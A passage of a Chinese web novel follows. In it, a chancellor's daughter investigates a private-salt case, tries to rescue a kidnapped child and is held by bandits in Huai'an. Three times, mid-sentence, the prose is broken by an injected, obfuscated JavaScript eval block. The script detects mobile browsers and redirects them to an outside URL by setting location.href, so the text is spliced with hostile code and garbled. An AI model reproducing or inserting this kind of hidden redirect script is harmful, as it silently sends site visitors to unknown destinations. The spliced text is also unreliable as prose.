“就是就是。”元琅在一边附和,嘴角处挂着饭粒,惹得众人笑得前仰后合,只有元琅摸着脑袋疑惑不解。 “有这么好笑吗?我脸上有花吗?” 怎么都盯着他看,他脸上有东西?元琅扒着饭,在心里默默说话。 看着眼前这一幕温馨场面,莲玉荇心里暖得烫人,眸子里流露出怀念。 平城,真是久违了。 ** 来平城的第五日,楚越封禾夫妇怕莲玉荇待不惯,也怕莲玉荇闷出病来,提着楚元琅的耳朵千叮咛万嘱咐,才让他带着莲玉荇出门。 街上很热闹,小摊一个接一个,楚元琅仿佛侍卫一般,走在她前面开路,怕她磕了碰了。 莲玉饶有兴致地走着,没走几步,侧边忽地冲出来一个半大的小姑娘,撞到她的腿上。 小姑娘脸上蹭了几块脏污,眼睛却很亮,身上的衣服料子普普通通,胜在干净整洁。 莲玉荇正准备将她扶起来,忽然发现手上被塞了什么东西,视线一凝,手上的动作也顿住。 一瞬间她意识到什么,把纸团紧紧攥到手上,没让任何人察觉。 那小姑娘看了她一眼,大概是觉得任务已经完成,站起身后麻溜儿地跑开了。 楚元琅看得心惊肉跳,凑到莲玉荇身边低声说:“表姐,出门在外小心为上,切不可再让陌生人近身。” 没看护好他表姐,回家父亲母亲非得扒掉他一层皮。 而且莲玉荇大病初愈,又是丞相小姐,金尊玉贵,总归得小心一点。 莲玉荇很快看出楚元琅的局促和小心翼翼,莞尔,“元琅,我又不是泥娃娃,你何必如此担心,不过是一个小孩子。再者,你如此小心翼翼,是生怕别人不知道我是丞相小姐吗?” “表姐说得有道理。”楚元琅恍若大梦初醒,有些不好意思,扯开了话题:“逛了好一会儿了,我们不如先去吃点东西垫垫肚子,休息一番。” 楚元琅脚步一转,带着莲玉荇进了明月酒楼。 纸团蜷在手心,纸面在她的手掌上摩擦,随着走路的动作,一下下撩拨着她的注意力。 莲玉荇有种错觉,她好像是得了情报将要接头的刺客,偷偷摸摸,引人注目。 实际上,楚元琅带她上了二楼的厢房,密闭的房间隔绝了一切视线,不会有任何人看见他们。 “表姐喝水。”楚元琅倒了杯水递给她,四面环顾了一圈,视线掠过街上的人,停在某一处不动了。 莲玉荇问道:“怎么了,元琅?发生何事了?” 顺着楚元琅的视线看过去,街道上红彤彤的一片格外吸引视线,莲玉荇略微抬高了声音,“糖葫芦!” 平城的糖葫芦与京都不太一样,用料配方全是摊主独创,偏偏让人欲罢不能,这么多年没吃,还真有点馋了。 还未说话,楚元琅已然知晓她要说什么,嘱咐她待在这里,自己匆匆跑到楼下去买。 确认楚元琅已经走远了,莲玉荇这才把手上的纸团拿了出来,展开后露出几个飘逸的大字。 明月酒楼天字二号房。 那个小女孩将纸团递给她的时候,她就已经有了猜测,应该是贺沅安托人递给她的。 大街上人多眼杂,贸然相认肯定不稳妥,所以莲玉荇忍到现在才打开。 现在她所在的地方是天字一号房,这么说,隔壁就是天字二号房。 门开了又关上,隔壁响起开门声,旋即低沉的声音传来,“莲姑娘,别来无恙啊。” ** 贺沅安坐在上首,优哉游哉品着茶,面色缓和,眼尾透着微不可查的疏离。 莲玉荇微微颔首,算是回应,接着坐到一边,淡然地扯了扯嘴角,“这几日都没收到景王陛下的信儿,我还以为殿下不打算来了。” “既然已经约定好了,本王肯定会来,不过京都事务繁多,牵绊住了。”贺沅安语气淡淡,转了话头,“莲姑娘将本王约到平城来,想来应该找到了不少线索。” 尚且在京都之时,莲玉荇便信誓旦旦邀他来平城,帮他查到私盐的线索。 原本贺沅安不打算前往平城,甚至已经忘了这件事儿,还是身边侍卫提醒,他才将信将疑来了平城,看看莲玉荇到底耍什么花招。 莲玉荇察言观色,咂摸出一丝不对劲来——贺沅安仍然不相信她。 “陛下似乎已将私盐一事交给端王殿下,估摸着时辰,应该先我们一步到了。我让人查了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333972|167733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 私盐价格从淮安开始提高,此后绵阳、平城私盐价格也提高了不少,我们不妨就从淮安开始调查。” 莲玉荇将自己查到的线索和盘托出,然后有意无意地提了一嘴贺砚随的名号,贺沅安也如她所预料的一般,脸色不着痕迹变了变。 过了一会儿,莲玉荇又道:“殿下以为如何?” “嗯。”贺沅安仿佛刚回过神来,应了一声,“莲姑娘既然已经有了主意,那便按你的想法来,过几日便往淮安走一趟。” “本王还有事儿,先失陪了。”贺沅安好像没什么精神,眼睑低垂,他放下茶杯,揉了揉眼头,起身离开了。 贺沅安已经离开,莲玉荇断然没有再继续待着的道理,起身准备返回隔壁,以免被楚元琅发现了。 只是刚踏出门槛,便被楚元琅抓了个正着,“表姐,你怎么在隔壁?” 糟了…… 真是说曹操,曹操就到。 莲玉荇脸不红心不跳,扯出一抹笑意,道:“方才你不在的时候,我碰巧在酒楼遇见了一位老友,顺便聊了片刻。” “哦?”楚元琅语调上挑,眼底明显写着不相信,不过最后还是没多说,把手里的糖葫芦塞给莲玉荇。 “快吃吧,不然一会儿得化了。摊主跑得远了,我追了好久才追上。” 莲玉荇看了看楚元琅,发现他额头上还坠着汗珠,气息也很乱,一看就跑了很久。 她顿了顿,“要不进去休息一下,反正现在日头尚早,我们待会儿再去逛逛也无妨。” 楚元琅摆摆手,莲玉荇等他呼吸平缓下来,两人一同出了明月酒楼,沿着街道一路逛,身后的家仆提溜了不少东西。 “元琅,不用买了,我又不缺簪子。”莲玉荇往后面瞧了瞧,制止了正在往她头上比划的楚元琅,有些哭笑不得,就算楚家家大业大,也禁不住他俩这么花费。 “诶诶诶,那边好像有小时候吃的酥糖,我去给你买!” 莲玉荇还没来得及开口,楚元琅已经跑远了。 ** “让一让!让一让!” 莲玉荇一行人刚找了个摊子坐下,几个官兵挤开人群,将告示贴在架子上,随后转过身来吆喝—— “半个月来,各处村庄皆有妇人和孩子失踪,请乡亲父老多多留意!提供线索者,赏银二十两!” 话音落下,又挤开人群走远了,留下围观的人叽叽喳喳讨论不休。 “二十两,官府这次真大方啊。” “妇人和孩子丢了几十个,能不着急嘛。” “天杀的,偷女人和小孩得遭报应。” “那怎么办?女人和孩子是无辜的啊……” …… 围观的人渐渐散去,莲玉荇把他们所说的话全都记在心里,妇人和孩子失踪确实不是小事,她得多多留意一下,看能不能找到什么线索。 这时,楚元琅也回来了冲着她扬了扬手上的东西,兴高采烈的:“买到了,回家!” 莲玉荇亲昵地拍了拍楚元琅的头,临走时又回头看了眼告示栏上,眼眸暗了暗。 有人从她身边擦肩而过,拐进街角,冲着面前的男人恭恭敬敬行礼,“主子,钱敏进了酒楼,此刻正大快朵颐,不枉我们从绵阳追到了平城,终于找到了他的踪迹。” 这两人正是前来调查私盐案的贺砚随和十九。 钱敏此刻还是个无名小卒,如果贸然抓了他又没正当理由,保准会让人抓住把柄,惹得一身骚。 况且,得顺藤摸瓜才能找到钱敏背后之人,不能打草惊蛇,只能暗暗派人盯着。 真是麻烦。前世他被这无名小卒背后之人算计致死,现在他还不能做什么。 贺砚随有些不爽,气息粗重了几分,吓得十九一哆嗦。 “跟紧了,别让他跑了。”男人幽幽说话,视线却移开了,似有所觉,往莲玉荇他们离开的地方瞥了一眼。 片刻后,贺砚随收回视线,转身离开,两人的身影很快消失在巷口。 12. 快逃 自从回了楚府府邸以后,莲玉荇一直惦记着告示板上所说的失踪妇女和孩子,颇有些坐立不安,每日茶饭不思。 一家人紧张得不得了,莲玉荇撒了一个谎,坦白自己不适应府里的环境,故而茶饭不思,这才打消了舅舅舅母的怀疑。 思来想去,莲玉荇还是找了个借口,出了家门四处逛逛。 一路走一路思索着,她暗暗托人打听了,妇人和孩子失踪的时间很集中,主要来自邻县邻村,也曾报官,官府派出一些人手寻找失踪人口,只是到现在还没找到他们的下落。 如果是土匪作怪劫财,怎么可能现在还发信勒索钱财,又或者是另有所图? 莲玉荇心脏狂跳起来,一股不详的预感涌上心头,要是再找不到人,这些失踪的百姓怕是会凶多吉少。 她隐约觉得,失踪的这些人和私盐一事或多或少有关联。 前进的脚步顿了顿,莲玉荇改了主意,拐到馄饨摊前坐下,点了一碗馄饨,随后状似无意地打听,“老伯,最近平城里似乎不太平,妇人孩子丢了一堆,官府也没什么动静,不知道何时才能找到人啊。” 老伯下馄饨的手一顿,很快又掩饰过去了,露出憨厚老实的笑容,却被莲玉荇悉数收尽眼底。老伯打着哈哈,“姑娘说笑了,老头就是一个卖馄饨的,哪里知道这些事情。您的馄饨好了!” 老伯似乎觉得莲玉荇是外来人,不想多说,专心做起了馄饨。 听他这么说,莲玉荇顿时觉得失望,长时间在这儿做生意的人都不知道,那她要去哪里找到蛛丝马迹。 莲玉荇叹了口气,老伯把馄饨端到桌上,朗声道:“您慢用!” 老伯刚走出去几步,脚跟一转,状似无意地来到莲玉荇身边,勤快地擦着桌子,眼睛往四处看,轻声说着话:“我听老家的亲戚提了一嘴,说是淮安新出了一窝山匪,来无影去无踪,杀人不眨眼呐!” “就算官府重金悬赏,我们小老百姓可不敢招惹,就怕有命拿,没命花呀……” “姑娘,我看你面善,应该是刚到平城,劝你别掺和这些事情,能躲多远躲多远,否则惹祸上身便不好了。” 老伯忽然压低了声音,看上去很怕被人发现,说话时脸上带着恐惧之色。 这件事竟是这般…… “多谢老伯。”莲玉荇若有所思,笑了笑,从袖子里拿出银钱放在桌上,去了另外的地方。 ** 所有的事情仿佛有了一个缺口,一个突破口,一条似有似无的线索将失踪案和私盐案联系在了一起。 二者发生的地方都在淮安,这让莲玉荇产生了一些猜想,只不过现在没有证据,她也不敢妄言。 暮色四合,事情了解得差不多了,莲玉荇准备原路返回楚府,然后提前去往淮安调查。 路过巷口时,里面传来细弱的呼救声,几乎听不见了,可是仔细听还有打骂声和孩子的哭叫声。 原本以为只是普通的矛盾,真正踏进巷子里才发现,事实远比她猜想的可怕万分,莲玉荇眼神一凛,下意识背过身靠在墙上。 殷红的血流了一地,男人一动不动躺在地上,胸口剧烈地上下起伏着,像是快断气了,目眦欲裂盯着面前的人。 妇人满脸惊恐,使尽了浑身力气,紧紧地抱住自己的孩子,生怕孩子再被抢了去。 三五个彪悍的男人蒙着面,眼睛里满是凶狠毒辣,动作粗暴,使劲拽着妇人怀里的小孩,小孩被扯得大哭,喊声几乎穿透街巷,而后被人紧紧捂住了嘴。 “再吵,割了你的舌头!”为首的男人低声喝道,孩子吓得瑟瑟发抖。 妇人跪在地上磕头,不断求他们放了孩子,十分凄惨。 简直不是人!莲玉荇瞪大了双眼,拳头紧紧攥着,在京都的时候,她也遇到了这种事情,当时她没有置之不理,现在也没有袖手旁观的道理。 更何况,面前这几个男人,显然就是馄饨摊老伯口中的土匪了。若是跟上他们,或许能探听到关于私盐的线索。 莲玉荇又看了看巷子里的情况,突然发现土匪手上的小姑娘有点眼熟,正是那天给自己手上递纸条的小孩子。 她放低呼吸,默不作声,小心翼翼把自己的裙摆、袖口绑起来,以免待会儿耽误行动,动作间,身上的香囊滑落在地上,但并未引起她的注意。 环顾四周没什么人,土匪们准备带着孩子离开,三三两两散开。 莲玉荇虽然不解他们这次为什么没有绑了妇人,没有多想,轻手轻脚跟在他们身后,认真观察着时机。 一、二、三…… 眼瞅着时机成熟,莲玉荇动作轻盈,三步并两步冲上去,在土匪还没反应过来之时,利落挥出拳头,抓起孩子的手就跑。 “呃……”为首的土匪痛苦地躬下身子,嘴唇里沾了血沫。 等到几个土匪反应过来的时候,莲玉荇和小姑娘已经跑远了,“可恶!还不快追!” 风声越来越快,莲玉荇清楚听到自己的心跳声,孩子似乎有点力竭了,脚步渐渐慢了下来,她观察了四周,发现一个藏身之地,赶紧把孩子放进去,自己也缩了进去。 电光火石间—— “人呢?连一个女人都追不上,真是个废物!”气急败坏的声音响起,莲玉荇屏住呼吸,顺带把孩子的嘴也捂住。 小孩子容易露馅。 “这儿怎么有堆东西?你去看看。” 脚步声越来越近,像夺命的更钟,一下一下敲在人心上。 莲玉荇脸上没什么表情,心里却很紧张,期盼着男人不要找到她们。 仿佛听到了她的祈求,男人的脚步声突然停了,转过身准备离开。 莲玉荇慢慢吐出一口浊气,心想应该已经蒙混过去了,还没等她放松下来,一张丑陋大脸忽然凑近,笑得狰狞可怖。 “找到你们了!” ** 夜色弥漫,本该是安定休息的时间,楚府上下人心不定,家主和主母焦躁不安,仿佛下一瞬就要冲出府去,听说是京都来的表小姐还没回府。 正厅内,楚越阴沉着脸发话:“派去找表小姐的人回来没有?有没有什么消息?” 下人战战兢兢上前,回答道:“回老爷,府中护卫已经带人去四处寻找了,一有消息必定速速来报。” 楚越心里焦急万分,姐姐把女儿送来平城,吩咐他好好照顾,没有几天,他便把人弄丢了。要是莲玉荇有个三长两短,他这个小舅舅真是没脸见人了。 “加派人手,再去找!”楚越大手一挥,让府里的下人纷纷出动去找莲玉荇的下落。 “父亲!”楚元琅从外面匆匆进来,看到封禾和楚越两人颓然的神色,心下微沉,还是安慰道:“表姐自小长在平城,如今来平城也有一段时间,已然熟悉,想必是被什么要紧事情绊住了脚,这才迟迟未归家。” 楚越叹气,眉目间都是愁意,早知道他就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333973|167733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多派些人手跟在莲玉荇身边,就不至于像现在这般被动。 气氛沉寂许久,楚越正打算亲自去找,门房突然来报,门口有个妇人求见。 “怎么回事?”楚越皱眉,问门房。 门房答话:“回老爷,那人手上拿了一个香囊,小的看着眼熟,像是表姑娘平日里随身佩戴的那个,这才来请示老爷。” 楚越一喜,叫人把那妇人带进来,妇人没见过这么大的场面,身上还带着血迹,有些发黑,身子不住地发抖。 妇人把香囊呈了上去,还没等楚越问话,她便一股脑说了起来。 “回贵人,傍晚时分,不知道从哪里来的土匪,将我丈夫打伤,又抢走了我的孩子,恰好被一位好心的姑娘遇见,追了上去,现下姑娘和我的孩子都不知所踪了。” “我在巷口捡到了这个香囊,想来应该是那位姑娘的,便一路顺着长街找了过来。” 楚越细细看了一下那个香囊,确实是莲玉荇身上佩戴的。 他攥紧了香囊,朝妇人说道:“你且将你知道的悉数说来。” ** 明月酒楼,天字一号房。 房间内,一身常服的贺砚随倚靠在小几上浅寐,眉目舒展,眉宇间少了几分锋利。 这几日他们暗中监视钱敏,发现他作息规律,整日待在酒楼,并未四处去,也没见什么人来找他。 可以说是一无所获。 不过私盐案却有了一点眉目,有人在淮安县附近暗中收购散盐,再以高价卖出,扰乱官盐市场。 贺砚随窥见机会,准备加快速度,尽早拿下私盐案相关之人,以防变故。 说起来,他听说莲玉荇早他许久就来到平城,不知道此刻在做什么。 说起来,他小时候也来过平城,还在楚府待过一段时间,和莲玉荇他们将楚府闹得天翻地覆,格外有趣。 贺砚随隐约觉得怀念,眼尾缀着流连之意,不过很快将这股情绪压了下去。 毕竟往事如烟,有人记得算什么,有人怕是早就不记得了吧。 只不过自作多情,徒增烦恼罢了。 长街上人突然多了起来,太守府里涌现出来许多官兵,急匆匆往前跑去,方向看着像是要出城。 这是怎么了?贺砚随不解,让暗卫去查探了一番,一柱香不到,暗卫来报:“主子,昨晚东边巷子里一个孩子被土匪抓走了,现下已经失踪了。” 一个孩子,犯不上出动这么多官兵吧? 侍卫继续说:“一同失踪的还有首富楚家的表姑娘。” 表姑娘,那就更犯不上了。 近日来的绑架贺砚随也有所听闻,平城太守也派了些人调查,可眼下这般阵仗,仿佛丢的是什么不得了的大人物一般。 贺砚随幽幽闭上了眼睛,丝毫没觉察到什么不对劲。 “哪个楚家?”贺砚随忽地开口说话,暗卫有些不解,还是老老实实回答:“便是丞相夫人的娘家。” 贺砚随终于意识到什么,脸上是肉眼看得见的震惊,方才他竟然没想到,在这偌大的平城,还有哪个楚家。 平复了半天,贺砚随嗓音艰涩,“方才的队伍准备去哪儿?” “回主子,隐约听到是去往淮安县。” “备马,跟着他们一起去淮安。” 贺砚随闭了闭眼,安慰自己,他只是去调查私盐一事,没有担心莲玉荇的意思。 可……谁信呢? 13. 困兽 一夜过去,天蒙蒙亮之时,贺砚随一行人终于到了淮安地界。 贺砚随牵着缰绳,远远望过去,城门在他们来之前刚刚打开。 等了一会儿,贺砚随策马进城,便服衣摆飘扬,乌发被风吹起,一溜烟儿人影便消失不见了。 在贺砚随身后追赶的暗卫简直欲哭无泪,整整一夜他都没有合过眼,竟也跟不上主子的速度。 明明说要跟着太守府派出的官兵队伍,如今倒远远把人甩在后面,到底是何事这么急。 暗卫歇了几息,又运起轻功追了上去,主子的安危不能有失。 另一边,楚元琅说服了父亲母亲,发誓自己一定把莲玉荇完好无损地带回来,带到他们面前,而后一路跟着队伍前往淮安,与他同行的还有景王贺沅安。 行至中途,队伍停下休整,待到天亮时再继续前进。 楚元琅靠在树下,面带愁容,将随身携带的干粮拿出来,掰成两半,另一半分给了坐在旁边贺沅安。 “贺兄,你和我表姐是如何相识的?”楚元琅一边啃干粮一边问道:“那日表姐说遇见了一个老友,原来就是你啊。” 贺沅安眸光微闪,犹豫了片刻,还是接过了楚元琅递过来的干粮,拿在手上没动,另一只手拨了拨将熄未熄的火堆。 “我与莲姑娘年少相识,此前莲姑娘修书一封,邀我来平城游玩一番,没想到她竟然遭此劫难。” 贺沅安言辞恳切,看上去十分关心莲玉荇的安危,眼底埋藏着深深的寒意,未曾让楚元琅察觉半分。 几个时辰前,楚元琅四处寻找莲玉荇的踪迹,恰好在明月酒楼遇到了贺沅安,一番交谈,才知道面前的人就是莲玉荇口中所说的老友。 而贺沅安也得知了莲玉荇被人绑走的事情,思虑许久,为了不暴露身份,还是决定跟着楚元琅他们一同前往淮安。 原先贺沅安并没有把莲玉荇放在心上,官家之女与皇子勾结,如若被发现,必定会触怒天颜,降下重罚。 所以他才和莲玉荇做了约定,却不是真心实意。 贺砚随被皇帝委以重任探查私盐一事,让他隐隐有了危机感,于是他抱着试探的心思,最终来到了平城,发现莲玉荇确实有一点谋略,姑且可以相信。 而莲玉荇被绑走,无疑给了他机会。楚家是平城首富,如果能成功救下莲玉荇,便可以得到楚家的赏识和助力,兴许可以压贺砚随一头。 贺沅安暗暗盘算着,心中有了一丝微妙的得意之感。送上门的把柄,不要白不要。 楚元琅听他说这话,沉默了许久,勉强笑了笑,“时候不早了,贺兄赶紧休息吧。” 火堆里传出噼啪声,毕毕剥剥烧着,火焰忽地蹿高,顷刻又落了下去。 树林里昏暗一片,唯有这里亮着,小飞虫盘旋着越飞越远了。 ** 密密叠叠的林子里,五大三粗的男人手上攥着麻绳,麻绳上拴着七八个女人,半大的小孩跟在女人身边,抽噎着,但不敢哭出声来,模样格外可怜。 “啪——” 男人忽然挥动着鞭子往走在最前面的女人身上打去,突兀地声音震耳欲聋,女人惊叫一声,很快软倒在地上,孩子吓得瑟瑟发抖,眼泪流了满脸。 男人哼了一声,怒斥道:“都给我麻溜点,这地方可是狼窝,要是天亮前还没到寨子,你们可都得留在这儿喂狼!” 闻言众人不敢耽搁,赶忙扶起女人,继续往前赶路。 翻过一座座山,终于看到掩映在葱绿树林中的寨子,门口有人把守,看到他们回来,笑着迎上去,“老三,这次收获不错嘛,老大说今晚要摆酒席,给你庆祝庆祝!” 被叫做老三的男人扯了扯嘴角,脸上的疤痕也跟着动,模样很是可怖。 “先把人关起来,我去找大哥。”徐免吩咐看门的人,大步踏上台阶,进了房间。 老大徐速喝了不少酒,醉醺醺的,“老三,回来了,这次带了多少人回来?” 跟徐速的悠闲惬意不同,徐免闭口不言,回头看了看寨子,愁眉苦脸说道:“没带几个,我和几个兄弟进了平城,拐了一个女人和一个孩子,便带着剩下的人一起回来了。” “怎么回事?”得知收获不佳,徐速的酒意醒了不少,声音也大了起来。 徐免站起身,快速关上了房门,左右顾盼,十分谨慎。 他坐下叹了口气,随后说明了缘由:“我从平城出来之后,发现大批官兵在城外聚集,正在往淮安县赶来。我怕和官府队伍撞上,便匆匆忙忙赶回来,途中还绕了不少弯路,这才安全回到寨子里。” 徐速眉头紧紧皱起,“往淮安县赶来,不一定就是来抓我们的吧?何况我们还有……” 徐速止住话头,看向坐在对面的徐免。 “可这实在太凑巧了。”徐免摇摇头,否定了徐速的想法。 “那些官兵都是从太守府出来,若是那位,我们安心即可。平城太守治下严苛,栽在他手上的人数不胜数,我们千万不能掉以轻心。” “而且我怀疑这群人中有什么高官贵族家的人。”否则不会如此大动干戈。 徐免一句话指出要害,徐速愣在原地。 “现在怎么办?”徐速登时反应过来,慌张不已,赶忙问道。 徐免安抚他,“先别急,大哥立马修书一封,问问那位。” “对对对。”徐速仿佛抓住了救命稻草,“照你所说,不到一日,太守府派来的官兵便可到达淮安县,我现在就写信,让那位来定夺。” 徐免点点头,接着分析,“最坏的打算就是官兵攻上山,将我们拿个人赃并获。接下来,按照我说的去做……” 红烛烧干了,不一会儿又重新被点上,照亮了一屋暗室。 待到天光大亮,紧闭的房门终于打开了,徐速先行出来,笑得灿烂无比,“备酒席,给老三接风洗尘!” 寨子各处的人都涌了出来,欢呼雀跃地准备酒席去了。 徐免跟在徐速身后,看着这一幕,阴沉了许久的脸上,终于露出一点笑意。 “老三,一夜未阖眼,你先去休息,待会儿我去叫你。”徐速拍了拍徐免的肩膀。 徐免站在原地,突然开口问道:“这么久了,怎么不见二哥?” 徐速愣了片刻,想起什么,说道:“老二在地牢里守着呢,以免有漏网之鱼逃跑,坏了大事。” 徐免提着的心终于放下来,安心回屋补眠去了。 ** 地牢里昏暗一片,莲玉荇不适应的眯起了眼睛,地牢里挤满了人,大都是妇人和孩子。 “进去!” 有人在背后使劲推了一把,莲玉荇踉跄着扑倒在地上,手心火辣辣地疼。 她慢悠悠坐起来靠在墙上,借着昏暗的光一看,手掌上沙土糊了一片,沁出血来。 等到全部人都进来后,那人锁上门,让众人老实点,然后守在出口处。 莲玉荇垂下眼,神色没什么波动,头上突然投下来一片阴影,抬起头,发现是和她一起被抓的那个小孩。 她弯了弯嘴角,“你叫什么名字?” 小孩没说话,突然蹲了下来,从衣服里拿出来一块布巾,帮她包扎伤口。 布料很粗糙,接触到伤口的同时带起一阵刺痛,莲玉荇嘶声,恍惚间听到小孩瓮声瓮气说话,“小棉花。” 小棉花?莲玉荇忽然笑了笑,小棉花,真是个好听的名字。 她伸手把小棉花抱到身边,摸了摸她的头发,问她:“小棉花怕不怕?” “不怕。”小棉花小声说话,“我娘会来找我的。” 莲玉荇手上的动作顿了顿,接着环顾了四周。 这里被关着的就是这段时间失踪的人吧。莲玉荇眼底浮浮沉沉,不知道这伙土匪绑这么多人干什么? 不能坐以待毙,得找个机会逃出去。莲玉荇心里暗暗想着。 只是还没等想到办法,莲玉荇就被人带出去了。 整个地牢的目光都汇聚到她身上,有疑惑的、不解的,更多的是麻木的。 莲玉荇心里沉了沉,一言不发,小棉花准备往她这边跑,被她一个眼神定在原地。 土匪们给莲玉荇眼睛上蒙了一块黑色的布料,她睁着眼睛,却什么都不到。 好狡猾。莲玉荇心里一惊,想来是怕她记住路线,趁机逃跑。 一路走着,莲玉荇看不见,听力就变得格外敏锐,便凭借感觉开始记忆路线。 兵器相接的声音很多,应该在练兵,穿过回廊之后,欢呼声渐渐大了起来,还有人不断走动着,酒器落桌…… ……像是在准备什么酒席? 莲玉荇动了动耳朵,还没听出来什么,带路的人突然停了下来,放开了她的手。 眼睛上缠着的纱布被扯开,收受到强光刺激的眼睛瞬间盈满泪水,莲玉荇不适地眨眨眼,视线随即清明起来,将眼前的场景收进眼底。 主座的男人看见她进来,眼睛微微放大,下首的两个男人直勾勾盯着她,透露出危险。 其中有一个,正是和莲玉荇在巷子里交手的男人。 气氛凝滞了片刻,主座的男人发话了,“这位姑娘,不妨跟我们兄弟说说,你到底是平城谁家的?” 莲玉荇眼底闪过一丝精光,单独把她带出来问话,必定有什么不可告人的秘密。 虽然不知道他们为什么要问这个,但留一点底牌总归不会有事。 莲玉荇皱眉,淡淡开口:“我只是普通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333974|167733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人家的女子,问这个做什么,要杀要剐随你便。” 徐速被莲玉荇呛声,也不恼,仿佛看穿了莲玉荇在撒谎,慢慢悠悠拆穿了她。 “你根本不是什么普通人家的女子,我派人去查过了,你是平城首富家的表亲。” “撒谎对你没什么好处,不如如实说来,我还能对你温柔点。” 昨夜徐速和徐免彻夜长谈,商定好解决办法,现下心安定得很,言语间很是张扬得意。 今天早上他按照徐免所说,派人快马加鞭前往平城探查,终于查到了一点蛛丝马迹。 与莲玉荇一起的只有那个小姑娘,家境贫寒,根本请不动平城太守这尊大佛,所以,平城太守派来官兵的目的—— 就是面前这个女人。 确定了身份,便先把人拘起来,就算官兵攻上山,他们也有筹码保命。 “你不说也没事。”徐速哼笑,大手一挥,让人把莲玉荇带下去,单独关在一间房内,加派人手严密监控。 徐免端起酒盏,向徐速敬酒,“大哥,现下可以放心了。那位的信已经送到了,让我们兄弟三人静观其变,有他在,可以安心。不过如若有什么危险,便抛弃了山寨,先行逃命。” 徐速笑得狂妄,徐家寨子所在的位置,地势险要,易守难攻,攻上来可难如登天。 “好好好,今夜我们兄弟便喝尽兴,大醉一场!”徐速豪放地把酒喝完,放下酒碗,发现徐昭的脸色不太对劲,大声道:“二弟放心,我已经派人在山下严防死守,保准一只苍蝇也不会放进来。” 徐昭心里总觉得不对劲,在徐速的注视下还是点点头,三人举杯畅饮,笑声传出门外。 ** 莲玉荇被安排在离地牢不远处的一间屋子,值得庆幸的是没被缚住手脚。 她在屋子里四处转了转,发现四面的窗户已经被封死,要想出去的话,只能走正门。 土匪头子下命令派人守住她,现在外面已经守了三四个人,保管叫她逃不出去。 单独问话,然后把她单独关在一间房,想必是小舅舅他们发现自己失踪了,派了人来救她,引起了土匪们的忌惮,这才牢牢控制住她。 一路上她已经发现了,这个地方易守难攻,没有人带路,根本进不来。 她得想办法逃出去,找人来救剩下的妇人和孩子。 莲玉荇有些颓然地坐在床上,还有什么办法呢? 门外面没有什么声音,只听得到或深或浅的呼吸声。 再等等。莲玉荇沉住气,暗暗告诫自己。 ** 淮安县内,由于现在调查私盐案没有什么头绪,不能贸然行动,贺砚随没有前往淮安县衙探查,而是将身边的暗卫尽数散了出去,不到一个时辰,暗卫便带着线索悉数回归。 “回禀主子,淮安县失踪人数是整个平城记录的一半,不少百姓都报了官府,官府派了人去查探过,并没有找到失踪的人。” “不少百姓说城南二十里处有一处土匪窝,山高路险,连官府也上不去,便不了了之了。” …… 暗卫将线索全部说出,贺砚随揣摩着这些线索,立马觉出了不对。 既然四处都找不到人,最有嫌疑的土匪窝却因为山高路险便放弃了,这其中肯定有猫腻。 被绑架的那些人,说不定全都在土匪窝里。 贺砚随很快便拿定了主意,立马启程前往城南二十里处。 途中,贺砚随遇上了姗姗来迟的楚元琅和贺沅安,方向不是淮安城内,看起来是打算直接前往土匪窝了。 贺砚随一眼看见了人群中的贺沅安,不着痕迹地收回视线,没有停下,拽动马绳,策马狂奔,很快消失在树林里,留下楚元琅他们一脸茫然。 楚元琅收回视线,问贺沅安:“贺兄,那位仁兄看着有点眼熟,你认识他吗?刚刚他好像往我们这边看过来了。” 贺砚随去的是土匪窝的方向,贺沅安看得着急,但不能表现出来半分,随口说道:“没见过,应该是过路人。” 两人明明长得一模一样,楚元琅虽然神经大条,但是眼神挺好,但是看贺沅安的样子,不太想提起这件事。 楚元琅“哦”了一声,拍了拍脑袋,如梦初醒一般惊呼,“那边是土匪窝,他要是闯进去,小命怕是不保。” 楚元琅赶紧催促队伍行进,贺沅安不动声色,内里翻江倒海,这个蠢货,咋咋呼呼地。 早知道自己就和贺砚随一样单独行动,不至于现在还没到。 至于贺砚随,如果他死了,自己应该会更开心。 “贺兄,快走啊,愣着干什么!”楚元琅喊他。 贺沅安掩饰好眼底的情绪,驾马跟了上去,“来了!” 14. 逢灯 夜幕降临,徐家寨开始热闹起来,早早就准备好的酒席此刻终于开始。 欢呼雀跃、举杯痛饮的嘈杂声音传遍寨子各处。 莲玉荇听着外面传来的动静,赶忙起身凑到窗户边仔细听。 门口守着的三四个人变成了两个,应该是去吃酒席去了。 紧接着,门口的两个人开始窃窃私语起来。 “今天这酒席真热闹啊,待会儿等他们两个回来,就轮到我们了。” 